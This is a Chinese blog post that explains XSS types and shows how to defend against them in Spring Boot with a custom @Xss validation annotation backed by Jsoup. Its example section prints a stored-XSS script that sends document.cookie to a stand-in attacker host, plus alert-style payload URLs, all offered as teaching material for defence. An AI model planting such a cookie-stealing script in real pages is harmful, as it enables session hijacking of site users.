首页 > 其他分享 >轻松实现XSS防御(注解和过滤器)

轻松实现XSS防御(注解和过滤器)

时间:2024-09-19 11:51:51浏览次数:3  
标签:脚本 XSS String 用户 恶意 过滤器 注解

一、XSS概述

XSS,全称为跨站脚本(Cross-Site Scripting),是一种常见的网络手段。它主要利用了Web应用程序对用户输入验证的不足,允许者将恶意脚本注入到其他用户浏览的网页中。


1.1 XSS的定义

XSS是指者在Web页面的输入数据中插入恶意脚本,当其他用户浏览该页面时,这些脚本就会在用户的浏览器上执行。由于脚本是在受害用户的上下文中执行的,因此它可以访问该用户的所有会话信息和权限,从而可能导致信息泄露、会话劫持、恶意操作等安全风险。


1.2 XSS的类型

XSS主要分为以下三种类型:


存储型XSS(Persistent XSS):恶意脚本被永久存储在目标服务器上,如数据库、消息论坛、访客留言等,当用户访问相应的网页时,恶意脚本就会执行。

反射型XSS(Reflected XSS):恶意脚本并不存储在目标服务器上,而是通过诸如URL参数的方式直接在请求响应中反射并执行。这种类型的通常是通过诱使用户点击链接或访问特定的URL来实施的。

基于DOM的XSS(DOM-based XSS):这种类型的XSS完全发生在客户端,不需要服务器的参与。它通过恶意脚本修改页面的DOM结构,实现。

1.3 XSS的原理及示例

XSS的基本原理是利用Web应用程序对用户输入的信任,将恶意脚本注入到响应中。当其他用户访问包含恶意脚本的页面时,脚本会在他们的浏览器中执行。


可以参考:前端安全系列(一):如何防止XSS? - 美团技术团队 (meituan.com)


示例:


存储型XSS:

者在一个博客评论系统中提交以下评论:


<script>

 document.location='http://attacker.com/steal.php?cookie='+document.cookie;

</script>

 

当其他用户查看这条评论时,他们的cookie会被发送到者的服务器。


反射型XSS :

者构造一个恶意URL:


http://example.com/search?q=<script>alert('XSS')</script>

 

如果服务器直接将搜索词嵌入到响应中而不进行过滤,用户点击此链接后会看到一个警告框。


DOM型XSS :

假设网页中有以下JavaScript代码:


var name = document.location.hash.substr(1);

document.write("欢迎, " + name);

 

者可以构造如下URL:


http://example.com/page.html#<script>alert('XSS')</script>

1

当用户访问此URL时,恶意脚本会被执行。


二、Spring Boot中的XSS防御手段

在Spring Boot中,我们可以采用多种方式来防御XSS 。下面将详细介绍两种常用的防御手段:使用注解和使用过滤器。


2.1 使用注解进行XSS防御

注解是一种轻量级的防御手段,它可以在方法或字段级别对输入进行校验,从而防止XSS 。


2.1.1 引入相关依赖

   <!--JSR-303/JSR-380用于验证的注解 -->

       <dependency>

           <groupId>org.springframework.boot</groupId>

           <artifactId>spring-boot-starter-validation</artifactId>

           <version>3.2.0</version>

       </dependency>

 

2.1.2 使用@XSS注解进行参数校验

我们可以自定义一个@XSS注解,用于标记那些需要校验的参数。这里是一个简单的@XSS注解定义:


@Target(value = { ElementType.METHOD, ElementType.FIELD, ElementType.CONSTRUCTOR, ElementType.PARAMETER })

@Retention(RetentionPolicy.RUNTIME)

@Constraint(validatedBy = XssValidator.class)

public @interface Xss {

   String message() default "非法输入, 检测到潜在的XSS";

   Class<?>[] groups() default {};

   Class<? extends Payload>[] payload() default {};

}

 

2.1.3 实现自定义注解处理器

接下来,我们需要实现XSSValidator类,该类将负责检查输入是否包含潜在的XSS脚本:


public class XssValidator implements ConstraintValidator<Xss, String> {

   /**

    * 使用自带的 basicWithImages 白名单

    */

   private static final Safelist WHITE_LIST = Safelist.relaxed();

   /**

    * 定义输出设置,关闭prettyPrint(prettyPrint=false),目的是避免在清理过程中对代码进行格式化

    * 从而保持输入和输出内容的一致性。

    */

   private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);


   /**

    * 验证输入值是否有效,即是否包含潜在的XSS脚本。

    *  

    * @param value 输入值,需要进行XSS脚本清理。

    * @param context 上下文对象,提供关于验证环境的信息,如验证失败时的错误消息定制。

    * @return 如果清理后的值与原始值相同,则返回true,表示输入值有效;否则返回false,表示输入值无效。

    */

   @Override

   public boolean isValid(String value, ConstraintValidatorContext context) {

       // 使用Jsoup库对输入值进行清理,以移除潜在的XSS脚本。

       // 使用预定义的白名单和输出设置来确保只保留安全的HTML元素和属性。

       String cleanedValue = Jsoup.clean(value, "", WHITE_LIST, OUTPUT_SETTINGS);

       

       // 比较清理后的值与原始值是否相同,用于判断输入值是否有效。

       return cleanedValue.equals(value);

   }


}


 

2.1.4 使用注解

在要进行XSS防御的属性上添加注解:


@Data

@Tag(name = "用户",description = "用户登录类")

public class UserLoginDTO {


   @Xss

   @NotBlank(message = "账号不能为空")

   @Schema(name = "用户账号",type = "String")

   private String userAccount;


   @Xss

   @Size(min = 6, max = 18, message = "用户密码长度需在6-18位")

   @Schema(name = "用户密码",type = "String")

   private String password;


   @Xss

   @NotBlank(message = "邮箱验证码内容不能为空")

   @Schema(name = "邮箱验证码",type = "String")

   private String emailCaptcha;

}


 

在Controller中的接口添加@Validated注解:


   @PostMapping("/test2")

   public Result<String> login(@RequestBody  @Validated UserLoginDTO userLoginDTO) {

       return Result.success();

   }

标签:脚本,XSS,String,用户,恶意,过滤器,注解
From: https://blog.51cto.com/u_16270511/12055553

相关文章

  • 【BurpSuite】Cross-site scripting (XSS 学徒部分:1-9)
    ......
  • 自定义日志注解,保存信息到数据库
    定义日志注解importjava.lang.annotation.*;/***@authorwzw*@version1.0*@Date2023-2-1717:31:19*/@Target({ElementType.METHOD})@Retention(RetentionPolicy.RUNTIME)@Documentedpublic@interfaceLog{/***描述*@return*/......
  • Kali下安装与使用BeEF:反射型与存储型XSS攻击、Cookie会话劫持、键盘监听及浏览器操控
    早八人,护网在即,该学习了~前言BEEFXSS(BrowserExploitationFrameworkXSS),更常见的称呼是BeEF(TheBrowserExploitationFramework),是一个开源的浏览器漏洞利用框架。它由MichałZalewski于2006年创建,旨在帮助渗透测试人员评估Web浏览器的安全性,发现并利用其中的漏洞。xss基......
  • Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程(建议收藏)
    漏洞原理xss(crosssitescript)跨站脚本攻击,指的是攻击者往web页面插入恶意脚本代码,当用户浏览时,嵌入web页面里的脚本代码就会执行,从而达到恶意攻击用户的特殊目的,它主要分为俩种类型存储型XSS(持久型):攻击者将恶意脚本存储在目标服务器上,每当用户访问受感染的页面时,恶意脚本就......
  • @RequestMapping 和 @GetMapping等子注解的区别及其用法
    常用的请求映射注解介绍@GetMapping用于处理HTTPGET请求。等价于 @RequestMapping(method=RequestMethod.GET)。1@GetMapping("/path")2publicStringhandleGetRequest(){3return"GETrequesthandled";4}@PostMapping用于处理HTTPPOST请求。等价于 ......
  • Sa-Token的v1.39.0自定义鉴权注解怎么玩
    个人博客:无奈何杨(wnhyang)个人语雀:wnhyang共享语雀:在线知识共享Github:wnhyang-Overview简介在Sa-Token最新的v1.39.0版本的更新日志中有这么一句话核心:升级:重构注解鉴权底层,支持自定义鉴权注解了。[重要]正巧最近有看一个关于鉴权的东西,顺便看一下吧!常见的自定义注解鉴权目标:对于......
  • Java基础学习(七)(枚举和注解)
    一、枚举枚举是一组常量的集合。枚举属于一种特殊的类,里面只包含一组有限的特定的对象。有两种实现方式:①自定义类实现枚举  ②使用enum关键字实现枚举1.1自定义类实现枚举不需要提供set方法,因为枚举对象值通常为只读对枚举对象/属性使用final+static共同修饰,实现底......
  • xss-labs靶场:level11攻略 抓包工具的巧妙利用
    攻略第十关后稍作休整,我们继续来看第十一关:和上一关一样,提供给我们的仅有的参数是URL中的keyword,很明显,这个参数是无法利用的,我们查看页面源代码发现依然是有一个隐藏表单的存在,但是,我们发现表单中多了一个参数t_ref即<formid="search"><inputname="t_link"value=""t......
  • asp.net core的授权过滤器中获取action上的Attribute
    今天在做权限开发的时候,在控制器的方法上添加了一些特性,希望在过滤器中获取到这些特性,查找了一些资料,终于找到了办法:varaction=context.ActionDescriptorasControllerActionDescriptor;varpermission=action.MethodInfo.GetCustomAttribute<PermissionAttribute>();......
  • Java Web项目使用注解和面向切面编程优雅的记录操作日志
    1.背景在我们的项目中,记录模块的操作日志比较麻烦,需要通过定义对象,获取需要记录的日志内容,最后插入到日志操作表等一系列动作才能完成。该方案既笨拙,使用也不方便,使得代码中存在大量冗余。因此,想要找到一种方便又优雅的方案解决该问题,使得日志模块既不影响业务逻辑的执行,又能......